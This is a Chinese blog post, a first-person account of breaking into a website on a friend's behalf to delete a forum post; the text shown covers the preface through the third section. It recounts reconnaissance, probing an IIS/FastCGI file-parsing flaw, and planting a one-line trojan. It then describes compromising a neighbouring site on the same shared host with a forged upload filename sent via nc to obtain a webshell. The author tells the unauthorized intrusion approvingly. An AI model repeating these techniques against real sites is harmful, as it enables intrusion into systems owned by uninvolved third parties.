{"id":6,"date":"2012-07-19T09:48:18","date_gmt":"2012-07-19T09:48:18","guid":{"rendered":""},"modified":"2012-07-19T09:48:18","modified_gmt":"2012-07-19T09:48:18","slug":"","status":"publish","type":"post","link":"http:\/\/weizn.net\/?p=6","title":{"rendered":"\u4e00\u6b21\u8270\u96be\u7684\u6e17\u900f\u7eaa\u5b9e"},"content":{"rendered":"

\u4f5c\u8005:    kyo327<\/span>
\nEMail:   humour327@163.com<\/span>
\nQQ:      10952989<\/span>
\n\u65e5\u671f:    2012-01-12<\/span><\/p>\n

[ \u76ee\u5f55 ]<\/span>
\n0\u00d700 \u524d\u8a00<\/span>
\n0\u00d701 \u521d\u671f\u7684\u63a2\u7d22<\/span>
\n0\u00d702 \u770b\u5230\u4e00\u70b9\u5e0c\u671b<\/span>
\n0\u00d703 \u4ece\u4e8c\u7ea7\u57df\u540d\u5165\u624b<\/span>
\n0\u00d704 \u8c03\u8bd5php\u6ea2\u51fa\u6f0f\u6d1e<\/span>
\n0\u00d705 \u6740\u4e2a\u56de\u9a6c\u67aa<\/span>
\n0\u00d706 \u4e0d\u6210\u529f\u7684\u793e\u5de5<\/span>
\n0\u00d707 V5\u7684\u8fc2\u56de\u6218\u672f<\/span>
\n0\u00d708 \u4ece\u518d\u8bfbcms\u6e90\u4ee3\u7801\u5230\u540e\u53f0getshell<\/span>
\n0\u00d709 asp\u767b\u9646\u53e3\u55c5\u63a2\u53d8\u6001\u7684\u5bc6\u7801<\/span>
\n0\u00d70a\u7a81\u7834\u661f\u5916+\u62a4\u536b\u795e<\/span>
\n0\u00d70b php\u55c5\u63a2\u76ee\u6807\u7ba1\u7406\u5458\u5bc6\u7801<\/span>
\n0\u00d70cdiscuz!\u63d0\u793a\u95ee\u9898\u7684\u963b\u788d<\/span>
\n0\u00d70d OllyDBG\u8c03\u8bd5superdic\u5e76\u5236\u4f5c\u6ce8\u518c\u673a<\/span>
\n0\u00d70e discuz!\u63d0\u793a\u95ee\u9898\u4e5f\u662f\u6d6e\u4e91\uff0c\u78b0\u649eV5<\/span>
\n0\u00d70f\u540e\u8bb0<\/span><\/p>\n

0<\/span><\/strong>\u00d700 \u524d\u8a00<\/span><\/strong><\/p>\n

\u968f\u7740\u4e92\u8054\u7f51\u7684\u8fc5\u901f\u53d1\u5c55\uff0c\u8d8a\u6765\u8d8a\u591a\u7684\u5e94\u7528\u90fd\u8f6c\u5411B\/S\u7ed3\u6784\uff0c\u56e0\u4e3a\u5b83\u662f\u8de8\u5e73\u53f0\u7684\u3001\u6613\u64cd\u4f5c\u7684\u3001\u65b9\u4fbf\u7684\u3001\u8fc5\u901f\u7684\uff0c\u8fd9\u6837\u4e0d\u8bba\u7528\u6237\u4f7f\u7528\u4ec0\u4e48\u6837\u7684\u64cd\u4f5c\u7cfb\u7edf\uff0c\u4ec5\u4ec5\u9700\u8981\u5b89\u88c5\u4e00\u4e2a\u6d4f\u89c8\u5668\u5c31\u80fd\u4eab\u53d7\u5728\u7ebf\u8d2d\u7269\u3001\u7f51\u4e0a\u652f\u4ed8\u3001\u770b\u7535\u5f71\u3001\u5199\u535a\u5ba2\u7b49\u7b49\u5404\u79cd\u5404\u6837\u4fbf\u6377\u7684\u670d\u52a1\uff0c\u7279\u522b\u662fWEB2.0\u65f6\u4ee3\u7684\u5230\u6765\u66f4\u589e\u6dfb\u4e86\u4e92\u8054\u7f51\u7684\u6d3b\u529b\u3002\u4f46\u662f\u8fd9\u6837\u5c31\u4f1a\u5bfc\u81f4\u8d8a\u6765\u8d8a\u591a\u7684WEB\u5b89\u5168\u95ee\u9898\u7684\u51fa\u73b0\uff0c\u6bd4\u5982sql\u6ce8\u5165\u3001XSS\u3001\u4e0a\u4f20\u6f0f\u6d1e\u3001\u5f31\u53e3\u4ee4\u3001\u76ee\u5f55\u904d\u5386\u7b49\uff0c\u867d\u7136\u65e9\u5728\u6570\u5341\u5e74\u524d\u5c31\u88ab\u53d1\u73b0\u8fd9\u4e9b\u6f0f\u6d1e\u4ea7\u751f\u7684\u6839\u672c\u539f\u56e0\uff0c\u53ef\u5b83\u4eec\u5374\u59cb\u7ec8\u90fd\u6ca1\u6709\u9000\u51fa\u5386\u53f2\u7684\u821e\u53f0\uff0c\u4f9d\u7136\u662fWEB\u5e94\u7528\u7a0b\u5e8f\u4e3b\u8981\u7684\u5b89\u5168\u95ee\u9898\u3002\u5f53\u7136\u5f88\u591a\u4f01\u4e1a\u4e5f\u5f00\u59cb\u8d8a\u6765\u8d8a\u91cd\u89c6\u5b89\u5168\uff0c\u4f46\u662f\u4ec5\u4ec5\u4f9d\u9760\u4e70\u7f51\u7edc\u5b89\u5168\u4ea7\u54c1\u3001\u4e70\u9632\u706b\u5899\u4e4b\u7c7b\u662f\u4e0d\u80fd\u5b8c\u5168\u89e3\u51b3\u95ee\u9898\u7684\u3002\u73b0\u5728\u7684\u4f01\u4e1a\u5b89\u5168\u6700\u5927\u95ee\u9898\u5c31\u662f\u4e0d\u91cd\u89c6\u7f51\u7edc\u5b89\u5168\u4eba\u624d\uff0c\u5bfc\u81f4\u641e\u5b89\u5168\u7684\u85aa\u6c34\u4e0d\u5982\u6316\u7164\u7a91\u7684\uff0c\u6216\u8005\u7eaf\u7cb9\u7684\u4f9d\u9760\u5b89\u5168\u4ea7\u54c1\u4ee3\u66ff\u7f51\u7edc\u5b89\u5168\u4eba\u624d\u3002\u4ea7\u54c1\u6bd5\u7adf\u4e5f\u662f\u4eba\u5199\u7684\uff0c\u5e76\u4e14\u5177\u6709\u65f6\u6548\u6027\uff0c\u51fa\u4e860day\u540e\uff0c\u6b7b\u7684\u4ea7\u54c1\u80fd\u7acb\u5373\u505a\u51fa\u5b89\u5168\u63aa\u65bd\u5417\uff1f\u52a8\u8f84\u5c31\u770b\u89c1\u62db\u8058\u505a\u5185\u6838\u9a71\u52a8\u7684\u7a0b\u5e8f\u5458\u5e74\u85aa20\u4e07\u4ee5\u4e0a\uff0c\u8fd9\u79cd\u72b6\u51b5\u8ba9\u641e\u5b89\u5168\u7684\u60c5\u4f55\u4ee5\u582a\u3002\u5e76\u4e14\u641e\u5b89\u5168\u4e5f\u9700\u8981\u5b66\u4e60\u5e95\u5c42\u7f16\u7a0b\u3001C\u8bed\u8a00\u3001perl\u3001python\u3001php\u3001asp\u3001.net\u3001java\u3001c++\u3001\u8c03\u8bd5\u6f0f\u6d1e\u3001\u914d\u7f6e\u5404\u79cd\u5404\u6837\u7684web\u73af\u5883\u3001\u719f\u7ec3\u638c\u63e1od\u3001ida\u3001softice\u3001windbg\u3001\u8f6f\u4ef6\u7834\u89e3\u3001\u793e\u5de5\u7b49\u7b49\u53ea\u8981\u662f\u8ddf\u4e92\u8054\u7f51\u6709\u4e00\u70b9\u5173\u7cfb\u90fd\u662f\u5fc5\u4fee\u4e4b\u8bfe\uff0c\u6700\u5173\u952e\u8fd8\u8981\u65f6\u523b\u7684\u5b66\u4e60\u65b0\u4e1c\u897f\uff0c\u8981\u8ddf\u5f97\u4e0a\u4e92\u8054\u7f51\u7684\u53d1\u5c55\uff0c\u5426\u5219\u5c31\u4f1a\u88ab\u6dd8\u6c70\uff0c\u6709\u8fd9\u4e48\u591a\u7684\u8981\u6c42\uff0c\u6211\u4eec\u5bb9\u6613\u5417\uff1f<\/span><\/p>\n

\u6211\u5148\u611f\u6168\u4e00\u4e0b\uff0c\u5728\u505a\u7f51\u7edc\u5b89\u5168\u8fd9\u4e9b\u5e74\u611f\u89c9\u4e00\u76f4\u5728\u6f02\uff0c\u4ece05\u5e74\u521a\u5230\u5317\u4eac\u7684\u8fdc\u4e1c\u523008\u5e74\u7684\u5927\u8fde\uff0c\u518d\u523009\u5e74\u7684\u76db\u5927\uff0c11\u5e74\u7684\u542f\u660e\uff0c\u6ca1\u6709\u4e00\u4e2a\u5730\u65b9\u80fd\u8ba9\u4eba\u611f\u5230\u662f\u5728\u8e0f\u5b9e\u7684\u505a\u5b89\u5168\uff0c\u5bf9\u7f51\u7edc\u5b89\u5168\u4eba\u624d\u8fd9\u5757\u4e5f\u90fd\u4e0d\u91cd\u89c6\u3002\u4ece\u5708\u5185\u7fa4\u7684\u597d\u53cb\u91cc\u5f97\u77e5\uff0c\u6709\u5f88\u591a\u6280\u672f\u6c34\u5e73\u5f88\u4e0d\u9519\u7684\u670b\u53cb\u90fd\u95f2\u7f6e\u5728\u5bb6\uff0c\u4e3a\u4ec0\u4e48\uff1f\u6211\u611f\u89c9\u56fd\u5185\u7684\u5927\u73af\u5883\u90fd\u662f\u8fd9\u6837\u7684\uff0c\u6240\u4ee5\u51fa\u73b0\u4e862011\u5e74\u5e95\u7684\u5404\u5927\u7f51\u7ad9\u5bc6\u7801\u6cc4\u9732\u4e8b\u4ef6\u3002\u6211\u8ba4\u4e3a\uff0c\u6cc4\u9732\u7684\u90a3\u4e9b\u5e93\u4e5f\u53ea\u662f\u4e5d\u725b\u4e4b\u4e00\u6bdb\u3002\u5728\u8fd9\u4e2a\u62ff\u7f51\u7edc\u5b89\u5168\u4eba\u624d\u5f53\u6c11\u5de5\u7684\u65f6\u4ee3\uff0c\u4e5f\u8bb8\u8fd9\u4e2a\u4e8b\u4ef6\u7b97\u662f\u7ed9\u90a3\u4e9b\u9ad8\u50b2\u7684\u3001\u9ad8\u85aa\u7684\u7a0b\u5e8f\u5458\u4e0a\u7684\u4e00\u5802\u8bfe\u5427\u3002<\/span><\/p>\n

\u8a00\u5f52\u6b63\u4f20\u3002\u56e0\u4e3a\u5feb\u8981\u5f53\u7238\u7238\u4e86\uff0c\u6211\u7ec8\u4e8e\u79bb\u5f00\u4e86\u5317\u4eac\uff0c\u5728\u5bb6\u95f2\u7740\u8fd9\u6bb5\u65f6\u95f4\u53d7\u4e00\u670b\u53cb\u4e4b\u6258\u8981\u5728\u67d0\u4e00\u4e2a\u7f51\u7ad9\u5e2e\u5fd9\u5220\u4e00\u4e2a\u5e16\u5b50\uff0c\u4e8e\u662f\u5f00\u59cb\u4e86\u8fd9\u6b21\u6f2b\u957f\u7684\u6e17\u900f\u4e4b\u65c5\u3002<\/span><\/p>\n

0<\/span><\/strong>\u00d701\u521d\u671f\u7684\u63a2\u7d22<\/span><\/strong><\/p>\n

\u5728\u62ff\u5230\u76ee\u6807www.111.com\u540e\uff0c\u524d\u671f\u7684\u4fa6\u67e5\u5de5\u4f5c\u4e00\u5b9a\u662f\u8981\u505a\u5145\u5206\u7684\u3002\u6211\u559c\u6b22\u5148\u4ece\u7f51\u7ad9\u7a0b\u5e8f\u5165\u624b\uff0c\u8fd9\u6837\u5982\u679c\u627e\u5230\u7a81\u7834\u53e3\u5c31\u53ef\u4ee5\u8fc5\u901f\u62ff\u4e0b\u3002<\/span>
\n\u901a\u8fc7\u521d\u671f\u7684\u7f51\u7ad9\u6587\u4ef6\u66b4\u529b\u731c\u89e3\uff0c\u626b\u63cf\u5230robots.txt\u8fd9\u4e2a\u6587\u4ef6\uff0c\u6709\u4ee5\u4e0b\u76ee\u5f55\u3002\u5982\u56fe1\uff1a<\/span>
\n\"\"
\n\u518d\u901a\u8fc7\u5bf9\u8fd9\u4e9b\u6587\u4ef6\u7684\u8bbf\u95ee\uff0c\u4ece3gadm.php\u6587\u4ef6\u7684\u6807\u9898\u680f\u5f97\u5230\u8be5\u7f51\u7ad9\u91c7\u7528\u7684\u662fdiy-page8.3\u7684cms\uff0c\u81ea\u7136\u53ef\u4ee5\u5148\u7528\u641c\u7d22\u5f15\u64ce\u641c\u7d22\u8be5cms\u66b4\u9732\u7684\u5df2\u77e5\u6f0f\u6d1e\u5165\u624b\u3002\u6211\u641c\u5230\u7684\u5927\u6982\u6709\u4e09\u4e2a\u7248\u672c\u522b\u4eba\u5206\u6790\u7684\u7ed3\u679c\uff1a\u4e00\u4e2a\u662f\u5b50\u4eea\u7684\u76f2\u6ce8exp\uff0c\u8fd8\u6709\u4e24\u4e2a\u662f\u6765\u81eat00ls\u7684\u3002\u7531\u4e8e\u8be5\u7f51\u7ad9\u670d\u52a1\u5668\u5b89\u88c5\u6709WEB\u9632\u706b\u5899\uff0c\u5bfc\u81f4\u540c\u4e00\u4e2aIP\u4e0d\u80fd\u591a\u6b21\u8fde\u7eed\u7684\u63d0\u4ea4get\u6216post\u8bf7\u6c42\uff0c\u5426\u5219\u5c31\u88ab\u8ba4\u4e3a\u662f\u975e\u6cd5\u7684\u3002\u8fd9\u6837\u4e00\u6765\u76f2\u6ce8\u90a3\u4e2aexp\u4e5f\u5c31\u4e00\u76f4\u6ca1\u6709\u6210\u529f\uff0c\u800c\u6211\u6d4b\u8bd5\u4f7f\u7528t00ls\u5c0f\u87d1\u8782\u90a3\u4e2aexp\u65f6\uff0c\u5728\u672c\u673a\u81ea\u5df1\u642d\u5efa\u73af\u5883\u7684\u6700\u65b0\u7248\u672c\u662f\u6210\u529f\u7684\uff0c\u4f46\u662f\u76ee\u6807\u4ecd\u7136\u5931\u8d25\uff0c\u6211\u8003\u8651\u4e5f\u8bb8\u662f\u76ee\u6807\u7248\u672c\u8f83\u4f4e\u7684\u539f\u56e0\u3002<\/span>
\n\u7531\u4e8e\u540e\u53f0\u6587\u4ef6admin.php\u88ab\u6539\u540d\uff0c\u540c\u65f6\u4e5f\u5728\u8fdb\u884c\u7740\u7f51\u7ad9\u540e\u53f0\u6587\u4ef6\u7684\u66b4\u529b\u731c\u89e3\u4e2d\u3002\u4e0d\u8fc7\u4e5f\u8bb8\u6211\u7684\u5b57\u5178\u6587\u4ef6\u4e0d\u591f\u5927\u4e5f\u4e0d\u591f\u597d\uff0c\u7ed3\u679c\u5f88\u4ee4\u4eba\u5931\u671b\u3002\u5e76\u4e14\u8be5\u7f51\u7ad9\u505a\u4e86\u7981\u6b62\u666e\u901a\u7528\u6237\u6ce8\u518c\u3001\u7981\u6b62\u666e\u901a\u7528\u6237\u767b\u9646\u7684\u5b89\u5168\u63aa\u65bd\uff0c\u8fd9\u6837\u8fde\u4f20\u56fe\u7247\u7684\u6743\u5229\u4e5f\u7ed9\u5c01\u6740\u4e86\u3002<\/span>
\n\u518d\u770b\u4ed6\u7684\u8bba\u575b\uff0c\u6bd5\u7adf\u8981\u5220\u7684\u5e16\u5b50\u662f\u5728\u8bba\u575b\u4e0a\u7684\uff0c\u4f46\u4ed6\u4f7f\u7528\u7684\u662f\u6700\u65b0\u7248\u7684<\/span>
\ndiscuz! X2\uff0c\u56e0\u4e3a\u6211\u6d4b\u8bd5\u4e862011\u5e747\u6708\u4efd\u90a3\u4e2a\u6f0f\u6d1e\u4e0d\u597d\u4f7f\u3002<\/span>
\n\u5230\u8fd9\u91cc\u8be5\u76ee\u6807\u7684\u7f51\u7ad9\u7a0b\u5e8f\u65b9\u9762\u5927\u6982\u6709\u4e86\u4e9b\u4e86\u89e3\uff0c\u4f46\u6709\u7528\u7684\u4fe1\u606f\u4e0d\u662f\u5f88\u591a\u3002\u63a5\u7740\u6211\u7528nmap\u626b\u63cf\u4e86web\u670d\u52a1\u5668\u7684\u7aef\u53e3\u60c5\u51b5\uff0c\u53ea\u5f00\u4e8680\uff0c\u4e5f\u8bb8\u5176\u4ed6\u7aef\u53e3\u88ab\u9632\u706b\u5899K\u6389\u4e86\u5427\u3002\u901a\u8fc7\u7ecf\u9a8c\u8bbf\u95ee\u4e00\u4e2a\u4e0d\u5b58\u5728\u76ee\u5f55\uff0c\u670d\u52a1\u5668\u8fd4\u56de\u5982\u56fe2\uff1a<\/span>
\n\"\"
\n\u4ece\u56fe2\u770b\u51fa\uff0c\u8c8c\u4f3c\u662fiis7.0\u6216iis7.5\uff0c\u518d\u7528iiswrite.exe\u5bf9\u7f51\u7ad9\u53d1\u9001\u4e00\u4e2ahead\u5305\uff0c\u8fd4\u56de Server: Microsoft-IIS\/7.5\uff0c\u8fd9\u6837\u7684\u8bdd\u5927\u6982\u80fd\u786e\u5b9a\u8be5\u7f51\u7ad9\u670d\u52a1\u5668\u64cd\u4f5c\u7cfb\u7edf\u5e94\u8be5\u662fwindows2008.<\/span>
\n\u901a\u8fc7\u4e0a\u9762\u7684\u5206\u6790\uff0c\u6ca1\u6709\u627e\u5230\u4ec0\u4e48\u7a81\u7834\u53e3\uff0c\u63a5\u4e0b\u6765\u5927\u5bb6\u90fd\u80fd\u60f3\u5230\uff0c\u53ef\u4ee5\u626b\u63cf\u4e00\u4e0b\u4ed6web\u670d\u52a1\u5668\u4e0a\u90fd\u6709\u54ea\u4e9b\u7f51\u7ad9\uff0c\u4ece\u8be5\u670d\u52a1\u5668\u4e0a\u7684\u5176\u4ed6\u7f51\u7ad9\u5165\u624b\u662f\u5927\u5bb6\u4e00\u8d2f\u7684\u624b\u6cd5\uff0c\u6211\u4e5f\u5c31\u4e0d\u591a\u8bf4\u4e86\u3002\u53ea\u662f\u6211\u662f\u4e2a\u82e6\u547d\u4eba\u554a\uff0c\u518d\u6b21\u9047\u5230cdn\uff0c\u65e0\u6cd5\u7b80\u5355\u7684\u5224\u65ad\u7f51\u7ad9\u7684\u771f\u5b9eIP\u3002<\/span>
\n\u5173\u4e8ecdn\u6211\u5728\u8fd9\u91cc\u7528\u7b80\u5355\u7684\u51e0\u53e5\u8bdd\u79d1\u666e\u4e00\u4e0b\uff0c\u7528\u6237\u5728\u81ea\u5df1\u7684\u6d4f\u89c8\u5668\u4e2d\u8f93\u5165\u8981\u8bbf\u95ee\u7684\u7f51\u7ad9\u7684\u57df\u540d\uff0c\u7f51\u7ad9\u4e3bdns\u9009\u62e9\u6bd4\u8f83\u8fd1\u7684cdn\u670d\u52a1\u5546\u8282\u70b9\uff0c\u5e76\u628a\u8bf7\u6c42\u7684\u5185\u5bb9\u7f13\u5b58\u5230cdn\u8282\u70b9\u670d\u52a1\u5668\uff0c\u518d\u628acdn\u8282\u70b9\u670d\u52a1\u5668ip\u8fd4\u56de\u7ed9\u7528\u6237\uff0c\u6700\u540e\u7528\u6237\u518d\u5411\u7ed9\u5b9a\u7684cdn\u63a5\u70b9\u8bf7\u6c42\u7f51\u7ad9\u5185\u5bb9\u3002<\/span>
\n\u6211\u6d4b\u8bd5\u4f7f\u7528\u4e0d\u540c\u5730\u533a\u7684vpn\u53bbping\u7f51\u7ad9\u57df\u540d\uff0c\u53d1\u73b0ip\u90fd\u4e0d\u4e00\u6837\uff0c\u540e\u6765\u901a\u8fc7google\u641c\u7d22\u4ed6\u7f51\u7ad9\u7684\u76f8\u5173\u5e16\u5b50\uff0c\u53d1\u73b0\u6709\u53e6\u5916\u4e00\u4e2a\u57df\u540dwww.222.com\u663e\u793a\u76f8\u540c\u7684\u5185\u5bb9\u3002\u518d\u6b21\u7528\u6b64\u57df\u540d\u8fdb\u884c\u65c1\u6ce8\u57df\u540d\u67e5\u8be2\uff0c\u603b\u7b97\u6709\u4e86\u771f\u5b9e\u7684\u7ed3\u679c\uff0c\u5982\u56fe3\uff1a<\/span>
\n\"\"
\n\u56fe3<\/span>
\n\u4f46\u4ee4\u4eba\u60b2\u50ac\u7684\u662f\uff0c\u8fd9\u51e0\u4e2a\u57df\u540d\u6700\u7ec8\u5168\u90fd\u6307\u5411\u4e86\u4e3b\u7f51\u7ad9\u548c\u8bba\u575b\u3002<\/span><\/p>\n

0<\/span><\/strong>\u00d702\u770b\u5230\u4e00\u70b9\u5e0c\u671b<\/span><\/strong><\/p>\n

\u7531\u4e8ewww.222.com\u662f\u76f4\u63a5\u6307\u5411\u8bba\u575b\uff0c\u800cwww.111.com\u6307\u5411cms,\u53ef\u4ee5\u5224\u65ad\u4e24\u4e2a\u7f51\u7ad9\u5e94\u8be5\u662f\u4e0d\u540c\u7684\u865a\u62df\u76ee\u5f55\u3002\u4e8e\u662f\u6211\u7528\u81ea\u5df1\u5199\u7684\u626b\u63cf\u5668\u5bf9www.222.com\u8fdb\u884c\u4e86\u7f51\u7ad9\u6587\u4ef6\u66b4\u529b\u731c\u89e3\u5982\u56fe4\uff1a<\/span>
\n\"\"
\n\u56fe4<\/span>
\n\u4ece\u56fe4\u4e2d\u770b\u5230\uff0c\u603b\u7b97\u6709\u4e2a\u4fe1\u606f\u6cc4\u9732\u7684\u95ee\u9898\u4e86\u3002<\/span>
\n\u6253\u5f00phpinfo.php\u5f97\u5230\u5982\u56fe5\uff1a<\/span>
\n\"\"
\n\u56fe5<\/span>
\n\u4ece\u56fe5\u6211\u5f97\u5230\u4e86\uff0c\u76ee\u6807\u64cd\u4f5c\u7cfb\u7edf\u662fwindows2008,php\u8fd0\u884c\u65b9\u5f0fFASTCGI,PHP\u7248\u672c5.2.17\uff0c\u8fd8\u6709\u7f51\u7ad9\u7269\u7406\u8def\u5f84\u7b49\u7b49\uff0c\u8ba9\u6211\u773c\u524d\u4e00\u4eae\u7684\u662fiis7.5+FASTCGI\u5728\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0cIIS\u5904\u7406\u8bf7\u6c42\u7684\u65f6\u5019\u53ef\u80fd\u5bfc\u81f4\u5982nginx\u5b89\u5168\u6f0f\u6d1e\u4e00\u6837\u7684\u95ee\u9898\uff0c\u4efb\u4f55\u7528\u6237\u53ef\u4ee5\u8fdc\u7a0b\u5c06\u4efb\u4f55\u7c7b\u578b\u7684\u6587\u4ef6\u4ee5PHP\u7684\u65b9\u5f0f\u53bb\u89e3\u6790\u3002<\/span>
\n\u6211\u9a6c\u4e0a\u627e\u5230\u4e00\u4e2a\u8be5\u7f51\u7ad9\u67d0\u4e2a\u56fe\u7247\u94fe\u63a5\u5730\u5740\u8fdb\u884c\u7c7b\u4f3c\u8fd9\u6837\u7684\u8bf7\u6c42\uff1ahttp:\/\/www.222.com\/images\/aaa.gif\/kyo.php ,\u6ca1\u6709\u8fd4\u56de404\uff0c\u5e76\u4e14\u8fd4\u56de\u7684http\u5934\u72b6\u6001\u7801\u662f200\uff0c\u8fd9\u65f6\u6211\u57fa\u672c\u80af\u5b9a\u4e86\u8be5\u6f0f\u6d1e\u7684\u5b58\u5728\u3002\u6211\u8bb0\u5f97\u7ed9\u597d\u53cb\u5c0f\u9f99\u732a\u770b\u8fc7\u4e00\u773c\uff0c\u4ed6\u8bf4\u4e86\u4e00\u53e5\u8bdd\uff1a\u8fd9\u4e2a\u7ad9\u6b7b\u5b9a\u4e86\u3002\u6211\u4e5f\u6df1\u4fe1\u8fd9\u4e00\u70b9,\u4f46\u6211\u6ca1\u60f3\u5230\u540e\u9762\u7684\u8fc7\u7a0b\u7adf\u662f\u5982\u6b64\u8270\u96be\u3002<\/span>
\n\u968f\u540e\u6211\u5e26\u7740\u559c\u60a6\u7684\u5fc3\u60c5\uff0c\u8fc5\u901f\u7684\u5728\u8be5\u8bba\u575b\u6ce8\u518c\u4e86\u8d26\u6237\uff0c\u5e76\u6025\u5207\u7684\u4e0a\u4f20\u90a3\u4e2a\u5e26\u7740\u4e00\u53e5\u8bddphp\u6728\u9a6c\u7684\u7f8e\u5973\u56fe\u7247\uff0c\u4f46\u7ed3\u679c\u4ecd\u7136\u662f\u4ee4\u4eba\u6cae\u4e27\u7684\uff0c\u8bba\u575b\u8bbe\u7f6e\u4e86\u6240\u6709\u9644\u4ef6\u4f20\u5230\u53e6\u5916\u4e00\u4e2a\u6587\u4ef6\u670d\u52a1\u5668\u4e0a\uff0c\u800c\u90a3\u4e2a\u6587\u4ef6\u670d\u52a1\u5668\u662fwindows2003\uff0c\u6ca1\u6709\u7c7b\u4f3c\u7684bug\uff0c\u5e76\u4e14\u548c\u76ee\u6807\u4e0d\u5728\u4e00\u4e2aC\u6bb5\u3002\u53ef\u8fd9\u4e2a\u6f0f\u6d1e\u5374\u5f88\u8bf1\u4eba\u7684\uff0c\u6211\u8fd8\u8003\u8651\u5230\u8bba\u575b\u663e\u793a\u5e16\u5b50\u662fhtml\u6587\u4ef6\u7c7b\u578b\u7684\uff0c\u5982\u679c\u80fd\u5728\u663e\u793a\u5e16\u5b50\u7684html\u91cc\u5199\u5165<?php phpinfo();?>\u5012\u4e5f\u662f\u53ef\u4ee5\u5229\u7528\u7684\uff0c\u53ea\u662f<>\u603b\u662f\u88ab\u8fc7\u6ee4\u4e3a&lt; &gt;\uff0c\u4e3b\u7ad9\u7684cms\u53c8\u7981\u6b62\u767b\u9646\uff0ccms\u540e\u53f0\u6587\u4ef6\u4e5f\u65e0\u6cd5\u627e\u5230\uff0c\u770b\u6765\u53ea\u80fd\u518d\u6362\u6362\u522b\u7684\u601d\u8def\u4e86\u3002<\/span><\/p>\n

0<\/span><\/strong>\u00d703\u4ece\u4e8c\u7ea7\u57df\u540d\u5165\u624b<\/span><\/strong><\/p>\n

\u6bcf\u4e2a\u505a\u7f51\u7edc\u5b89\u5168\u7684\u5e94\u8be5\u90fd\u4e86\u89e3\uff0c\u5728\u7f51\u7edc\u4e0a\u6bcf\u4e2a\u4eba\u4eab\u53d7\u5404\u79cd\u670d\u52a1\uff0c\u4e0a\u8bba\u575b\uff0c\u542c\u97f3\u4e50\uff0c\u7f51\u4e0a\u652f\u4ed8\uff0c\u8d2d\u7269\u7b49\u7b49\u3002\u6700\u91cd\u8981\u7684\u5c31\u662f\u81ea\u5df1\u7684\u5bc6\u7801\uff0c\u800c\u8d26\u53f7\u5927\u591a\u90fd\u662f\u516c\u5f00\u7684\uff0c\u53ea\u8981\u6211\u4eec\u62e5\u6709\u76ee\u6807\u7684\u5e38\u7528\u5bc6\u7801\uff0c\u5c31\u53ef\u4ee5\u5c1d\u8bd5\u4ed6\u7684\u5176\u4ed6\u7f51\u7ad9\u7684\u767b\u5f55\u9a8c\u8bc1\uff0c\u56e0\u6b64\u6211\u5f00\u59cb\u4e86\u4ece\u4e8c\u7ea7\u57df\u540d\u5165\u624b\u7684\u6253\u7b97\uff0c\u62ff\u4e0b\u540e\u81f3\u5c11\u53ef\u4ee5\u5f97\u5230\u4ed6\u7684\u5e38\u7528\u5bc6\u7801\u4e4b\u4e00\u3002<\/span><\/p>\n

\u901a\u8fc7\u4ed6\u672c\u7f51\u7ad9\u7684\u94fe\u63a5\u548c\u4e8c\u7ea7\u57df\u540d\u7206\u7834\u67e5\u8be2\u5de5\u5177\uff0c\u518d\u52a0\u4e0a\u81ea\u5df1\u7684\u5206\u6790\uff0c\u6211\u5f97\u5230\u4e86target\u6bd4\u8f83\u4e3b\u8981\u7684\u4e00\u4e2a\u4e8c\u7ea7\u57df\u540d\u4e3a:a.111.com\uff0c\u4ecd\u7136\u662f\u4e00\u4e2a\u6bd4\u8f83\u6210\u719f\u7684\u3001\u6ca1\u6709\u4efb\u4f55\u5df2\u77e5\u6f0f\u6d1e\u7684cms\u7684\u535a\u5ba2\u7a0b\u5e8f\uff0c\u503c\u5f97\u5e86\u5e78\u7684\u662f\uff0c\u8fd9\u4e2a\u4e8c\u7ea7\u57df\u540d\u6240\u5728\u7684\u670d\u52a1\u5668\u5012\u6709\u5341\u51e0\u4e2a\u5176\u4ed6\u7684\u7f51\u7ad9\uff0c\u5e94\u8be5\u662f\u865a\u62df\u4e3b\u673a\uff0c\u64cd\u4f5c\u7cfb\u7edf\u662fwin2003\uff0c\u540c\u65f6\u652f\u6301php\u548casp.<\/span>
\n\u6211\u9996\u5148\u7784\u4e0a\u4e86\u4e00\u4e2a\u7ad9\u662f\uff1awww.aaa.com,\u5f88\u8f7b\u677e\u7684\u626b\u63cf\u51fa\u4ed6\u540e\u53f0\u7ba1\u7406\u6587\u4ef6\u4e3a\uff1a<\/span>
\nhttp:\/\/www.aaa.com\/admin\/admin_index.php \u76f4\u63a5\u628aurl\u5728\u6d4f\u89c8\u5668\u6d4f\u89c8\u53d1\u73b0\u4ed6\u6ca1\u6709\u505a\u4e25\u5bc6\u7684\u9a8c\u8bc1\uff0c\u540e\u53f0\u4e00\u90e8\u5206\u529f\u80fd\u662f\u53ef\u4ee5\u4f7f\u7528\u7684\uff0c\u5982\u56fe6<\/span>
\n\"\"
\n\u56fe6<\/span>
\n\u5e76\u4e14\u540e\u53f0\u4f7f\u7528\u4e86FCKeditor\uff0c\u662f\u6700\u65b0\u7248\u672c\uff0c\u6d4b\u8bd5\u4e86\u8fd9\u4e2a\u7f16\u8f91\u5668\u7684\u6f0f\u6d1e\u96c6\u5408\u540e\u65e0\u679c\uff0c\u53ea\u80fd\u628a\u5e0c\u671b\u5bc4\u6258\u5728\u56fe6\u7684\u4e0a\u4f20\u56fe\u7247\u90a3\u91cc\u662f\u5426\u6709\u95ee\u9898\u4e86\u3002\u8fd9\u6b21\u8fd8\u7b97\u987a\u5229\uff0c\u6211\u5728vmware\u7684winxp\u7cfb\u7edf\u7528WSockExpert.exe\u6293\u4e86\u4e00\u4e0b\u4e0a\u4f20\u7684\u5305\uff0c\u5728\u4e00\u53e5\u8bddasp\u6728\u9a6c\u91cc\u6dfb\u52a0\u4e0bgif89a\u5934\uff0c\u518d\u5728\u5305\u7684\u8fd9\u91cc\u6539\u4e3a\uff1a<\/span>
\nContent-Disposition: form-data; name=\u201darticle_img\u201d; filename=\u201dC:\\aa.asp .gif\u201d<\/span>
\n\u7528nc\u63d0\u4ea4\u540e\u5373\u5f97\u5230\u540d\u4e3a120107005538_53.asp\u7684\u4e0a\u4f20\u6587\u4ef6\uff0c\u4e5f\u5c31\u62ff\u5230\u5176webshell\u3002\u5982\u56fe7\uff1a<\/span>
\n\"\"<\/p>\n

\u56fe7<\/span><\/p>\n

